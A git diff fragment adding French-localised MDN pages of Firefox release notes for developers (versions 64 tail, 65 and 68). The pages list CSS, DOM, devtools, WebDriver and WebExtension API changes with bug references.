  • Focus related events were missing on element interaction when Firefox was not running as the top-most application ({{bug(1398111)}}).
    • +
  • Performing a pointerDown and pointerUp action in a subsequent action sequence could trigger a double click because WebDriver:ReleaseActions didn't reset the double click tracker ({{bug(1422583)}}).
    • +
  • Executing pause actions repeatedly could cause an infinite hang ({{bug(1447449)}}).
    • +
  • Fixed a bug where returning an element collection from WebDriver:ExecuteScript and WebDriver:ExecuteAsyncScript would cause a cyclic reference error ({{bug(1447977)}}).
    • +
  • To prevent a race condition both the WebDriver:AcceptAlert and WebDriver:DismissAlert commands now wait until the user prompt has been closed ({{bug(1479368)}}).
    • +
  • Log entries as emitted by the frame script were no longer limited by MarionettePrefs.logLevel but logged everything ({{bug(1482829)}}).
    • +
  • WebDriver:TakeScreenshot raised an error when taking a screenshot of a window larger than 32767 pixels in width or height ({{bug(1485730)}}).
    • +
  • WebDriver:SendAlertText didn't replace default user prompt value if text to send is an empty string ({{bug(1486485)}}).
    • +
+ +

Autre

+ +
    +
  • Corrected the behavior of {{DOMxRef("PerformanceObserver.observe()")}} to simply do nothing if no valid entry types are found in the specified array of entry types to observe, or if the array is empty or missing. Previously, Firefox was incorrectly throwing a TypeError ({{bug(1403027)}}).
    • +
  • In OpenSearch, Firefox now accepts application/json as a search URL type, as an alias of application/x-suggestions+json ({{bug(1425827)}}).
    • +
+ +

Changements des add-on développeurs

+ +

Changements API

+ +

Thèmes

+ +
    +
  • The default text color for {{WebExtAPIRef("browserAction")}} badges is now automatically set to black or white, to maximise contrast with the background ({{bug(1474110)}}).
    • +
  • The accentcolor and textcolor properties of the theme manifest key are now optional ({{bug(1413144)}}).
    • +
  • {{WebExtAPIRef("browserAction.getBadgeTextColor()")}} and {{WebExtAPIRef("browserAction.setBadgeTextColor()")}} enable you to get and set the text color of browser action badges ({{bug(1424620)}}).
    • +
  • The theme colors key in manifest.json now supports the ntp_text property to set the text color in a new tab, and the ntp_background property to set the color of a new tab ({{bug(1347204)}}).
    • +
  • Themes can now define the colors for sidebars, such as the bookmarks sidebar ({{bug(1418602)}}). The relevant properties include: +
      +
    • sidebar: The background color for sidebars.
      • +
    • sidebar_text: The text color for sidebars.
      • +
    • sidebar_highlight: The background color of a selected item in a sidebar.
      • +
    • sidebar_highlight_text: The text color of a selected item in a sidebar.
      • +
    +
    • +
  • The method {{WebExtAPIRef("management.install()")}} allows web extensions to install and enable signed browser themes ({{bug(1369209)}}).
    • +
+ +

Recherche

+ +
    +
  • The new {{WebExtAPIRef("search")}} API enables you to retrieve the list of installed search engines and perform searches with them ({{bug(1352598)}}).
    • +
  • {{WebExtAPIRef("topSites.get()")}} now takes an options parameter enabling you to set various options for the list of sites returned ({{bug(1445836)}}).
    • +
+ +

Onglets

+ +
    +
  • {{WebExtAPIRef("tabs.onHighlighted")}} now supports multi-select ({{bug(1474440)}}).
    • +
  • {{WebExtAPIRef("tabs.highlight")}} now includes an optional field in the highlightInfo object — populate — which defaults to true. Setting it to false prevents the returned windows.Window object from being populated with a list of tabs, to improve performance ({{bug(1489814)}}).
    • +
  • {{WebExtAPIRef("tabs.update")}} now supports changing the selection status of a tab by including highlighted: true in the updateProperties parameter ({{bug(1479129)}}).
    • +
  • {{WebExtAPIRef("tabs.update")}} supports changing the selection status of a tab without changing the focused tab ({{bug(1486050)}}) by including both highlighted: true and active: false in the updateProperties parameter.
    • +
  • {{WebExtAPIRef("tabs.query")}} now returns an array of {{WebExtAPIRef("tabs.Tab")}} objects if multiple tabs are selected ({{bug(1465170)}}).
    • +
  • The {{WebExtAPIRef("tabs.Tab")}} property now properly reflects which tabs in a browser window are selected (highlighted) and {{WebExtAPIRef("tabs.highlight")}} supports changing the highlighted status of multiple tabs ({{bug(1464862)}}).
    • +
  • The isarticle property in the extraParameters object passed into {{WebExtAPIRef("tabs.onUpdated")}} has been renamed to isArticle. The old name is retained but deprecated. This change was uplifted to Firefox 62 ({{bug(1461695)}}).
    • +
  • The {{WebExtAPIRef('tabs.onUpdated')}} event can be used to track when a tab is drawing the user's attention with attention property of the changeInfo object ({{bug(1396684)}}).
    • +
+ + + +
    +
  • Added {{WebExtApiRef("menus.getTargetElement()")}} to the {{WebExtApiRef("menus")}} API. The method returns the clicked on element referenced by the targetElementId parameter ({{bug(1325814)}}).
    • +
  • {{WebExtAPIRef("menus.create()")}} now enables you to create invisible menu items, and {{WebExtAPIRef("menus.update()")}} enables you to toggle menu item visibility ({{bug(1482529)}}).
    • +
  • Items created using the {{WebExtAPIRef("menus")}} API now support access keys ({{bug(1320462)}}).
    • +
  • The targetUrlPatterns parameter of {{WebExtApiRef("menus.create()")}} and {{WebExtApiRef("menus.update()")}} now supports any URL scheme, even those that are usually not allowed in a match pattern ({{bug(1280370)}}).
    • +
+ +

Autre

+ +
    +
  • {{WebExtAPIRef("commands.onCommand")}} is now treated as user input ({{bug(1408129)}}).
    • +
  • The {{WebExtAPIRef("webRequest")}} API now enables you to filter for speculative connections ({{bug(1479565)}}).
    • +
  • {{WebExtAPIRef("webRequest.SecurityInfo")}} adds two new properties, keaGroupName and signatureSchemeName. This change was uplifted to Firefox 62 ({{bug(1471959)}}).
    • +
  • {{WebExtAPIRef("cookies.Cookie")}} now includes a property indicating the SameSite state of the cookie. The {{WebExtAPIRef("cookies.SameSiteStatus")}} enumeration defines SameSite state values ({{bug(1351663)}}).
    • +
  • Match patterns for URLs now explicitly match the "data" URL scheme ({{bug(1280370)}}).
    • +
+ +

Voir aussi

+ + + +

Anciennes versions

+ +

{{Firefox_for_developers(62)}}

diff --git a/files/fr/mozilla/firefox/releases/65/index.html b/files/fr/mozilla/firefox/releases/65/index.html new file mode 100644 index 0000000000..98979a74b9 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/65/index.html @@ -0,0 +1,249 @@ +--- +title: Firefox 65 pour développeurs +slug: Mozilla/Firefox/Versions/65 +translation_of: Mozilla/Firefox/Releases/65 +--- +
{{FirefoxSidebar}}
+ +

Cet article fournit des informations au sujet de changements introduits dans Firefox 65 qui vont concerner les développeurs. Firefox 65 a été publié le 29 janvier 2019.

+ +

Changes for web developers

+ +

Outils de développement

+ +
    +
  • L'Inspecteur Flexbox est activé par défaut.
    • +
  • Le support des Breakpoints XHR a été ajouté au JavaScript Debugger ({{bug(821610)}}).
    • +
  • Clic-droit sur un objet de l'arbre d'accessibilité à partir de la vue d'Accessibilité pour Imprimer en tant que Json dans la vue JSON.
    • +
  • The color contrast display of the Accessibility Picker has been updated so that if a text's background is complex (e.g. a gradient or complex image), it shows a range of color contrast values.
    • +
  • The Headers tab of the Network Monitor now displays the Referrer Policy for the selected request ({{bug(1496742)}}).
    • +
  • When displaying stack traces (e.g. in console logs or the JavaScript debugger), calls to framework methods are identified and collapsed by default, making it easier to home in on your code.
    • +
  • In the same fashion as native terminals, you can now use reverse search to find entries in your JavaScript console history (F9 on Windows/Linux or Ctrl + R on macOS, then type a search term, followed by Ctrl + R/Ctrl + S to toggle through results).
    • +
  • The JavaScript console's $0 shortcut (references the currently inspected element on the page) now has autocomplete available, so for example you could type $0.te to get autocomplete suggestions for properties like $0.textContent.
    • +
  • The edits you make in the Rules view of the Inspector are now listed in the Changes panel ({{bug(1503920)}}).
    • +
+ +

HTML

+ +
    +
  • Events are now dispatched on disabled HTML elements, i.e. {{htmlelement("button")}}, {{htmlelement("fieldset")}}, {{htmlelement("input")}}, {{htmlelement("select")}}, and {{htmlelement("textarea")}} elements with disabled attributes set on them ({{bug(329509)}}).
    • +
  • Removing the src attribute of an {{htmlelement("iframe")}} element now causes about:blank to be loaded into it, giving it parity with Chrome and Safari ({{bug(1507842)}}). Previously removing src had no effect on the iframe content.
    • +
  • We have added support for the {{htmlattrxref("referrerpolicy", "script")}} attribute on {{htmlelement("script")}} elements ({{bug(1460920)}}).
    • +
+ +

CSS

+ +
    +
  • The {{cssxref("image-rendering")}} property's crisp-edges value has now been unprefixed ({{bug(1496617)}}).
    • +
  • A {{cssxref("scrollbar-color")}} value of auto now resolves to auto, rather than two colors ({{bug(1501418)}}).
    • +
  • The break-* properties have been implemented, and the legacy page-break-* properties have been aliased to them ({{bug(775618)}}): +
      +
    • {{cssxref("break-before")}} is now an alias for {{cssxref("page-break-before")}}.
      • +
    • {{cssxref("break-after")}} is now an alias for {{cssxref("page-break-after")}}.
      • +
    • {{cssxref("break-inside")}} is now an alias for {{cssxref("page-break-inside")}}.
      • +
    +
    • +
  • The {{cssxref("overflow-wrap")}} property's anywhere value has been implemented ({{bug(1505786)}}).
    • +
  • The new step position keywords jump-start, jump-end, jump-none, and jump-both — usable inside the steps() timing function — have been implemented ({{bug(1496619)}}). This also coincides with the removal of the frames() timing function, which was the previous way of implementing such functionality, now deprecated.
    • +
  • Some new {{cssxref("appearance", "-webkit-appearance")}} values have been added, for compatibility with other browsers. In particular: +
      +
    • meter, which is now used as the default value for {{htmlelement("meter")}} elements in UA stylesheets. the existing value meterbar is now an alias for meter ({{bug(1501483)}}).
      • +
    • progress-bar, which is now used as the default value for {{htmlelement("progress")}} elements in UA stylesheets. the existing value progressbar is now an alias for progress-bar ({{bug(1501506)}}).
      • +
    • textarea, which is now used as the default value for {{htmlelement("textarea")}} elements in UA stylesheets. the existing value textfield-multiline is now an alias for textarea ({{bug(1507905)}})
      • +
    +
    • +
  • The behavior of {{cssxref("user-select")}} has been changed to make it align more with other browsers ({{bug(1506547)}}). Specifically: +
      +
    • user-select: all set on an element no longer overrides other values of user-select set on children of that element. So for example in the following snippet: + 
      <div style="-webkit-user-select: all">All
+  <div style="-webkit-user-select: none">None</div>
+</div>
      + The <div> with none set on it is now non-selectable. Previously this value would have been overriden by the all value set on the parent element.
      • +
    • non-contenteditable elements nested inside contenteditable elements  are now selectable.
      • +
    • user-select now behaves consistently inside and outside shadow DOM.
      • +
    • The proprietary -moz-text value has been removed.
      • +
    +
    • +
  • CSS environment variables (the {{cssxref("env")}} function) have been implemented ({{bug(1462233)}}).
    • +
+ +

Removals

+ +
    +
  • The layout.css.shape-outside.enabled pref has been removed; {{cssxref("shape-outside")}}, {{cssxref("shape-margin")}}, and {{cssxref("shape-image-threshold")}} can no longer be disabled in about:config ({{bug(1504387)}}).
    • +
  • Several Firefox-only values of the {{cssxref("user-select")}} property have been removed — -moz-all, -moz-text, tri-state, element, elements, and toggle. See {{bug(1492958)}} and {{bug(1506547)}}.
    • +
  • As mentioned above, the frames() timing function has been removed ({{bug(1496619)}}).
    • +
+ +

SVG

+ +

No changes.

+ +

JavaScript

+ +
    +
  • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}} is now supported ({{bug(1504334)}}).
    • +
  • Strings now have a maximum {{jsxref("String/length","length","","1")}} of 2**30 - 2 (~1GB) instead of 2**28 - 1 (~256MB) ({{bug(1509542)}}).
    • +
  • The {{jsxref("globalThis")}} property, which always refers to the top-level global object, has been implemented ({{bug(1317422)}}).
    • +
+ +

APIs

+ +

New APIs

+ +
    +
  • {{domxref("Streams_API/Using_readable_streams", "Readable Streams", "", "1")}} have been enabled by default ({{bug(1505122)}}).
    • +
  • The {{domxref("Storage_Access_API", "Storage Access API", "", "1")}} has been enabled by default ({{bug(1513021)}}).
    • +
+ +

DOM

+ +
    +
  • {{domxref("Performance.toJSON()")}} has been exposed to {{domxref("Web_Workers_API", "Web Workers", "", "1")}} ({{bug(1504958)}}).
    • +
  • {{domxref("XMLHttpRequest")}} requests will now throw a NetworkError if the requested content type is a Blob, and the request method is not GET ({{bug(1502599)}}).
    • +
  • The -moz- prefixed versions of many of the {{domxref("Fullscreen API", "", "", "1")}} features have been deprecated, and will now display deprecation warnings in the JavaScript console when encountered ({{bug(1504946)}}).
    • +
  • {{domxref("WindowOrWorkerGlobalScope.createImageBitmap", "createImageBitmap()")}} now supports SVG images ({{domxref("SVGImageElement")}}) as an image source ({{bug(1500768)}}).
    • +
+ +

DOM events

+ + + +

Web workers

+ +
    +
  • {{domxref("SharedWorkerGlobalScope.onconnect")}}'s event object is a {{domxref("MessageEvent")}} instance — its data property is now an empty string value rather than null ({{bug(1508824)}}).
    • +
+ +

Fetch and Service workers

+ +
    +
  • The {{domxref("Response.redirect()")}} method now correctly throws a TypeError if a non-valid URL is specified as the first parameter ({{bug(1503276)}}).
    • +
  • The {{domxref("ServiceWorkerContainer.register()")}} and {{domxref("WorkerGlobalScope.importScripts()")}} (when used by a service worker) methods will now accept any files with a valid JavaScript MIME type ({{bug(1354577)}}).
    • +
  • The {{domxref("FetchEvent.replacesClientId")}} and {{domxref("FetchEvent.resultingClientId")}} properties are now supported ({{bug(1264177)}}).
    • +
  • The {{domxref("ServiceWorkerGlobalScope.onmessageerror")}} and {{domxref("ServiceWorkerContainer.onmessageerror")}} handler properties have been implemented ({{bug(1399446)}}).
    • +
  • The {{httpheader("Origin")}} header is no longer set on Fetch requests with a method of {{HTTPMethod("HEAD")}} or {{HTTPMethod("GET")}} ({{bug(1508661)}}).
    • +
+ +

Media, Web Audio, and WebRTC

+ +
    +
  • The {{domxref("WebRTC API", "WebRTC", "", "1")}} {{domxref("RTCIceCandidateStats")}} dictionary has been updated according to the latest spec changes ({{bug(1324788)}}, {{bug(1489040)}}; see also
    + RTCIceCandidateStats has been updated to the latest spec for more details on exactly what has changed).
    • +
  • The {{domxref("MediaRecorder")}} pause and resume events (and their corresponding event handler properties — {{domxref("MediaRecorder.onpause")}} and {{domxref("MediaRecorder.onresume")}}) were not previously implemented, even though compatibility tables claimed they had been. They have now been implemented ({{bug(1458538)}}, {{bug(1514016)}}).
    • +
+ +

Canvas and WebGL

+ +
    +
  • The  {{domxref("WebGL API", "WebGL", "", "1")}} {{domxref("EXT_texture_compression_bptc")}} and {{domxref("EXT_texture_compression_rgtc")}} texture compression extensions have been exposed to WebGL1 and WebGL2 contexts ({{bug(1507263)}}).
    • +
+ +

Removals

+ +
    +
  • Mutation events have been disabled in shadow trees ({{bug(1489858)}}).
    • +
  • The non-standard {{domxref("MediaStream")}} property currentTime has been removed ({{bug(1502927)}}).
    • +
  • The dom.webcomponents.shadowdom.enabled and dom.webcomponents.customelements.enabled prefs have been removed — Shadow DOM and Custom Elements can no longer be disabled in about:config ({{bug(1503019)}}).
    • +
  • The non-standard DOM text event — fired to notify the browser editor UI of IME composition string data and selection range — has been removed ({{bug(1288640)}}).
    • +
  • The {{event("keypress")}} event is no longer fired for non-printable keys ({{bug(968056)}}), except for the Enter key, and the Shift + Enter and Ctrl + Enter key combinations (these were kept for cross-browser compatibility purposes).
    • +
+ +

Security

+ + + +

Networking

+ +

No changes.

+ +

Plugins

+ +

No changes.

+ +

WebDriver conformance (Marionette)

+ +

API changes

+ +
    +
  • +

    WebDriver:ElementSendKeys now handles <input type=file> more relaxed for interactability checks, and allows those elements to be hidden without raising a not interactable error anymore. If a strict interactability check is wanted the capability strictFileInteractability can be used ({{bug(1502864)}}).

    +
    • +
+ +

Bug fixes

+ +
    +
  • +

    The window manipulation commands WebDriver:FullscreenWindow, WebDriver:MinimizeWindow, WebDriver:MaximizeWindow, and WebDriver:SetWindowRect have been made more stable ({{bug(1492499)}}). It means that under special conditions they don't cause an infinite hang anymore, but instead timeout after 5s if the requested window state cannot be reached ({{bug(1521527)}}).

    +
    • +
  • +

    WebDriver:ElementClick now correctly calculates the center point of the element to click, which allows interactions with dimensions of 1x1 pixels ({{bug(1499360)}}).

    +
    • +
+ +

Others

+ +
    +
  • +

    For unexpected alert open errors more informative messages are provided (Bug 1502268).

    +
    • +
+ +

Other

+ +
    +
  • Support for WebP images has been added ({{bug(1294490)}}). + +
      +
    • In addition, to faciliate cross-browser compatibility in certain situations the WebP MIMEType (image/webp) has been added to the standard HTTP Request {{httpheader("Accept")}} header for HTML files ({{bug(1507691)}}).
      • +
    +
    • +
+ +

Changes for add-on developers

+ +

API changes

+ + + +

Tabs

+ +
    +
  • The {{WebExtAPIRef("tabs", "tabs API", "", "1")}} has been enhanced to support tab successors — a tab can have a successor assigned to it, which is the ID of the tab that will be active once it is closed ({{bug(1500479)}}, also see this blog post for more information). In particular: + +
      +
    • The {{WebExtAPIRef("tabs.Tab")}} type now has a successorId property, which can be used to store/retrieve the ID of the tab's successor.
      • +
    • The {{WebExtAPIRef("tabs.onActivated")}} event listener's callback has a new parameter available, previousTabId, which contains the ID of the previous activated tab, if it is still open.
      • +
    • The {{WebExtAPIRef("tabs.update()")}} function's updateProperties object has a new optional property available on it, successorTabId, so can be used to update it.
      • +
    • successorTabId is also returned by functions like {{WebExtAPIRef("tabs.get()")}}  and {{WebExtAPIRef("tabs.query()")}}.
      • +
    • The new function tabs.moveInSuccession() allows manipulation of tab successors in bulk.
      • +
    +
    • +
+ +

Manifest changes

+ +

No changes.

+ +

Other

+ +
    +
  • The headerURL/theme_frame properties for Webextension themes are now supported on Firefox for Android ({{bug(1429488)}}).
    • +
+ +

See also

+ + + +

Older versions

+ +

{{Firefox_for_developers(65)}}

diff --git a/files/fr/mozilla/firefox/releases/68/index.html b/files/fr/mozilla/firefox/releases/68/index.html new file mode 100644 index 0000000000..037d582ad8 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/68/index.html @@ -0,0 +1,245 @@ +--- +title: Firefox 68 pour développeurs +slug: Mozilla/Firefox/Versions/68 +tags: + - '68' + - FRANCAIS + - Firefox + - Mozilla + - Release +translation_of: Mozilla/Firefox/Releases/68 +--- +

{{FirefoxSidebar}}

+ +

Cet article fournit des informations à destination des développeurs à propos des changements dans Firefox 68. Firefox 68 a été lancée le 9 Juillet 2019.

+ +

Changements pour développeurs web

+ +

Outils développeur

+ + + +
    +
  • La console web montre maintenant plus d'informations à propos des warnings CSS, ceci inclut la liste de noeuds des éléments du DOM qui utilisaient la règle ({{bug(1093953)}}).
    • +
  • Vous pouvez maintenant filtrer du contenu dans la console Web en utilisant des expressions régulières (REGEX) ({{bug(1441079)}}).
    • +
  • La console du navigateur vous permet maintenant de montrer ou cacher les messages provenant du processus de contenus en paramètrant ou vidant la checkbox intitulé Show Content Messages ({{bug(1260877)}}).
    • +
+ +

Le débuggeur JavaScript

+ +
    +
  • Vous pouvez maintenant Rechercher dans tout les fichiers du projet en cours depuis le débuggeur en appuyant sur les touches Shift + Ctrl + F (Windows ou Linux) ou Shift + Cmd + F (macOS) ({{bug(1320325)}}).
    • +
+ +

Le moniteur réseau

+ +
    +
  • La liste des requêtes du moniteur réseau vous permet maintenant de bloquer une URL spécifique ({{bug(1151368)}}).
    • +
  • Vous pouvez maintenant ré-envoyer une requête réseau sans éditer la méthode HTTP, l'URL, les paramètres et les en-têtes, en utilisant la commande Ré-envoyer dans le menu contextuel ({{bug(1422014)}}).
    • +
  • L'onglet en-têtes du menu contextuel du moniteur réseau vous permet maintenant de copier tout ou une partie de l'information de l'en-tête dans le presse-papier au format JSON ({{bug(1442249)}}).
    • +
+ +

L'inspecteur de styles et du DOM

+ +
    +
  • Un bouton qui vous permet de basculer l'affichage de n'importe quels media queries a été ajouté dans le panneau des règles de l'inspecteur ({{bug(1534984)}}).
    • +
  • Le panneau de polices de caractère inclut maintenant un bouton glissoire pour modifier l'espacement des lettres letter-spacing ({{bug(1536237)}}).
    • +
  • Une icône d'alerte apparaît à côté des propriétées CSS non supportées et des règles ayant des valeurs invalides, pour vous aider à comprendre pourquoi certains styles ne sont pas appliqués ({{bug(1306054)}}).
    • +
+ +

Storage inspector

+ + + +

Other

+ +
    +
  • The Accessibility Inspector now includes a new Check for issues feature, which will include a number of audit tools to highlight accessibility problems on your web pages. The first available check is contrast, for highlighting color contrast problems.
    • +
  • The preference that controls the visibility of internal extensions (system add-ons and hidden extensions) on the about:debugging page has been changed from devtools.aboutdebugging.showSystemAddons to devtools.aboutdebugging.showHiddenAddons ({{bug(1544372)}}).
    • +
  • Responsive design mode has been redesigned — the Device Settings dialog (device selection menu > Edit List...) is now more intuitive and simpler to use ({{bug(1487857)}}).
    • +
+ +

Removals

+ +
    +
  • The "Enable add-on debugging" checkbox has been removed from the about:debugging page ({{bug(1544813)}}).
    • +
+ +

HTML

+ +
    +
  • The {{HTMLElement("track")}} element — represented by {{domxref("HTMLTrackElement")}} — now receives a {{domxref("HTMLTrackElement.cuechange_event", "cuechange")}} event in addition to the {{domxref("TextTrack")}} itself, if the text track is a contained by a media element ({{bug(1548731)}}).
    • +
  • {{htmlelement("link")}} elements support the disabled attribute again, albeit with different behavior. When disabled is set on a <link> element along with rel="stylesheet", the referenced stylesheet is not loaded during page load, and will be loaded on demand when the disabled attribute is changed to false or removed ({{bug(1281135)}}).
    • +
+ +

 Removals

+ + + +

CSS

+ +
    +
  • CSS Scroll Snapping has been updated to the latest version of the specification ({{bug(1312163)}}) and ({{bug(1544136)}}), this includes: + +
      +
    • The scroll-padding properties ({{bug(1373832)}})
      • +
    • The scroll-margin properties ({{bug(1373833)}})
      • +
    • {{CSSxRef("scroll-snap-align")}} ({{bug(1373835)}})
      • +
    +
    • +
  • The {{CSSxRef("-webkit-line-clamp")}} property has been implemented for compatibility with other browsers ({{bug(866102)}}).
    • +
  • Support has been added for the {{CSSxRef("::marker")}} pseudo-element ({{bug(205202)}}) and animation for ::marker pseudos ({{bug(1538618)}})
    • +
  • We changed {{CSSxRef("currentColor")}} to be a computed value (except for the {{cssxref("color")}} property)  ({{bug(760345)}}).
    • +
  • Support has been fixed for the ch length unit so it now matches the spec (fallback for no '0' glyph, vertical metrics) ({{bug(282126)}})
    • +
  • The  {{CSSxRef("counter-set")}} property has been implemented. ({{bug(1518201)}}).
    • +
  • We now implement list numbering using a built-in "list-item" counter; this fixes list numbering bugs ({{bug(288704)}}).
    • +
  • Selector matching and parsing support has been implemented for ::part() ({{bug(1545430)}}) and ({{bug(1545425)}}).
    • +
  • CSS Transforms are now supported in indirectly rendered things e.g.)  {{SVGElement("mask")}},  {{SVGElement("marker")}},  {{SVGElement("pattern")}},  {{SVGElement("clipPath")}} ({{bug(1323962)}}).
    • +
  • +

    While we're keeping the prefixed versions of the various gradient properties ({{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, and {{cssxref("repeating-radial-gradient")}} available for compatibility reasons, we have revised how they're parsed so that they're handled much more like the non-prefixed versions. This means that certain existing styles won't work correctly.

    + +

    In particular, the complicated syntax taking both an angle and a position will no longer work, and the to keyword in the <side-or-corner> parameter is not required for the prefixed gradient properties. You are encouraged to use the standard, non-prefixed gradient properties instead, as they're now widely supported ({{bug(1547939)}}).

    +
    • +
+ +

Removals

+ +
    +
  • {{CSSxRef("scroll-snap-coordinate")}}, {{CSSxRef("scroll-snap-destination")}}, {{CSSxRef("scroll-snap-type-x")}} and {{CSSxRef("scroll-snap-type-y")}} have been removed.
    • +
  • The {{CSSxRef("scroll-snap-type")}} property has become a longhand, so the old shorthand syntax like scroll-snap-type:mandatory will stop working. See the Firefox Site Compatability note.
    • +
+ +

SVG

+ +

No changes.

+ +

JavaScript

+ +
    +
  • The new {{jsxref("BigInt")}} primitive is enabled by default ({{bug(1527902)}}).
    • +
  • String generic methods have been removed ({{bug(1222552)}}). See the deprecation warning for more information.
    • +
+ +

APIs

+ +

CSS Object Model (CSSOM)

+ +
    +
  • The legacy {{domxref("CSSStyleSheet.rules", "rules")}} property and {{domxref("CSSStyleSheet.addRule", "addRule()")}} and {{domxref("CSSStyleSheet.removeRule", "removeRule()")}} methods have been added to the {{domxref("CSSStyleSheet")}} interface. These were introduced by Internet Explorer 9 and have never managed to quite be stamped out, so they have been added to improve compatibility with the small percentage of sites that still use them ({{bug(1545823)}}).
    • +
+ +

DOM

+ +
    +
  • The Visual Viewport API has now been enabled by default on Android ({{bug(1512813)}}). Adding this API to desktop versions of Firefox is being tracked in {{bug(1551302)}}.
    • +
  • The {{domxref("Window")}} feature noreferrer is now supported; if specified, the new window's content is loaded without sharing the hostname, IP address, URL, or other identifying information about the host device ({{bug(1527287)}}).
    • +
  • The {{domxref("HTMLImageElement.decode", "decode()")}} method on HTMLImageElement is now implemented. This can be used to trigger loading and decoding of an image prior to adding it to the DOM ({{bug(1501794)}}).
    • +
  • {{domxref("XMLHttpRequest")}} has been updated to no longer accept the non-standard moz-chunked-arraybuffer value for {{domxref("XMLHttpRequest.responseType", "responseType")}}. Code still using it should be updated to use the Fetch API as a stream ({{bug(1120171)}}).
    • +
  • XMLHttpRequest now outputs a warning to console if you perform a synchronous request while handling an {{domxref("Window.unload_event", "unload")}}, {{domxref("Window.beforeunload_event", "beforeunload")}}, or {{domxref("Window.pagehide_event", "pagehide")}} event ({{bug(980902)}}).
    • +
  • The {{domxref("Document.cookie", "cookie")}} property has moved from the {{domxref("HTMLDocument")}} interface to the {{domxref("Document")}} interface, allowing documents other than {{Glossary("HTML")}} to use cookies ({{bug(144795)}}).
    • +
  • The {{domxref("HTMLElement.focus()")}} and {{domxref("SVGElement.focus()")}} methods now accept an optional object that may contain a boolean preventScroll option specifying whether or not to block the browser from scrolling the newly-focused element into view ({{bug(1374045)}}).
    • +
+ +

DOM events

+ +
    +
  • Firefox for Android no longer incorrectly sends a {{domxref("Window.resize_event", "resize")}} event until after the first frame is painted; this improves web compatibility with sites that don't expect this event to occur ({{bug(1528052)}}).
    • +
  • The dispatching of events for non-primary mouse buttons has been made to more closely follow the specification; the {{domxref("Element.click_event", "click")}} event is no longer sent when non-primary buttons are clicked, instead using {{domxref("Element.auxclick_event", "auxclick")}}. In addition, {{domxref("Element.dblclick_event", "dblclick")}} no longer fires for non-primary buttons ({{bug(1379466)}}).
    • +
  • The proprietary {{domxref("MouseEvent.mozPressure")}} property has been deprecated, and will now trigger a warning in the console ({{bug(1165211)}}).
    • +
+ +

Media, Web Audio, and WebRTC

+ +
    +
  • Due to changes in the Google Play store's policies, starting with Firefox 68 for Android, the OpenH264 codec used to handle AVC/H.264 video in WebRTC connections can no longer be downloaded and installed. Therefore, fresh installs of Firefox on Android devices no longer support AVC in WebRTC calls. If you upgrade from earlier versions of Firefox and already have the codec downloaded, it will continue to work. This does not affect other platforms. For more details, see this article on SUMO or {{bug(1548679)}}.
    • +
  • WebRTC has been updated to recognize that a null candidate passed into the {{domxref("RTCPeerConnection.icecandidate", "icecandidate")}} event handler, indicating the receipt of a candidate, instead indicates that there are no further candidates coming; when this happens the ICE gathering ({{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}) state reaches complete ({{bug(1318167)}}).
    • +
  • The {{domxref("RTCRtpReceiver")}} methods {{domxref("RTCRtpReceiver.getContributingSources", "getContributingSources()")}} and {{domxref("RTCRtpReceiver.getSynchronizationSources", "getSynchronizationSources()")}} now support video tracks; previously they only worked on audio ({{bug(1534466)}}).
    • +
  • The Web Audio API {{domxref("MediaStreamTrackAudioSourceNode")}} interface is now supported, as is the method {{domxref("AudioContext.createMediaStreamTrackSource()")}} ({{bug(1324548)}}).
    • +
  • {{domxref("RTCDataChannel.negotiated")}} is now implemented ({{bug(1529695)}}).
    • +
  • The {{domxref("MediaStreamAudioSourceNode.MediaStreamAudioSourceNode", "MediaStreamAudioSourceNode()")}} constructor has been updated to match the current specification's definition that the "first audio track" in the stream is the track whose ID comes first in lexicographical order ({{bug(1324548)}}).
    • +
  • +

    {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} may no longer be used from a non-secure context; attempting to do so now throws a NotAllowedError exception. Secure contexts are those loaded using HTTPS, those located using the file:/// scheme, and those loaded from localhost. For now, if you must, you can re-enable the ability to perform insecure calls to getUserMedia() by setting the preference media.getusermedia.insecure.enabled to true ({{bug(1335740)}}).

    + +
    +

    Note: In the future, Firefox will also remove the {{domxref("navigator.mediaDevices")}} property on insecure contexts, preventing all access to the {{domxref("MediaDevices")}} APIs. This is already the case in Nightly builds.

    +
    +
    • +
+ +

Removals

+ +
    +
  • Removed the non-standard {{DOMxRef("XMLDocument.load()")}} method ({{bug(332175)}}).
    • +
  • Removed the non-standard {{DOMxRef("XMLDocument.async")}} property ({{bug(1328138)}}).
    • +
  • The {{domxref("RTCIceCredentialType")}} token value has been removed ({{bug(1529595)}}).
    • +
+ +

HTTP

+ +
    +
  • The HTTP {{HTTPHeader("Clear-Site-Data")}} header no longer supports the executionContexts directive. This was removed due to problems with interactions between interconnections among different kinds of data at different points in the navigation process and the way the specification is designed. It has been proposed that this directive be removed from the specification for this reason, among others ({{bug(1548034)}}).
    • +
+ +

Removals

+ +
    +
  • The {{HTTPHeader("Content-Security-Policy")}} directive require-sri-for is no longer supported due to concerns about its standardization status. It was previously available only behind a preference, which was off by default ({{bug(1386214)}}).
    • +
+ +

Security

+ + + +

WebDriver conformance (Marionette)

+ +

Bug fixes

+ +
    +
  • If WebDriver:SwitchToWindow changes the selection to a different window it now waits for its focus and activate events before returning ({{bug(1335085)}}).
    • +
  • Fixed the TypeError: this.tabModal is null failure, which sometimes appeared when interacting with modal dialogs or user prompts ({{bug(1538782)}})
    • +
+ +

Other

+ +
    +
  • Disabled the feature to force unloading background tabs on low memory conditions, to prevent top-level browser contexts from magically disappearing ({{bug(1553748)}}).
    • +
  • Disabled priviledged content processes that caused HTTP authentication dialogs not to appear when navigating to a website after opening a new tab ({{bug(1558763)}}).
    • +
+ +

Plugins

+ +

No changes.

+ +

Changes for add-on developers

+ +

API changes

+ +
    +
  • The The proxy.register() and proxy.unregister() functions have been deprecated and will be removed from Firefox 71 ({{bug(1545811)}}).
    • +
  • A boolean flag, incognito, has been added to the proxy.RequestDetails. object. When true, it indicates that this was a private browsing request ({{bug(1545163)}}).
    • +
  • The webRequest.RequestFilter parameters can include an incognito parameter. If provided, requests that do not match the incognito state (true or false) will be filtered out ({{bug(1548177)}}).
    • +
  • A string value, cookieStoreId, representing the cookie store ID of the current context, has been added to the proxy.RequestDetails. object ({{bug(1545420)}}).
    • +
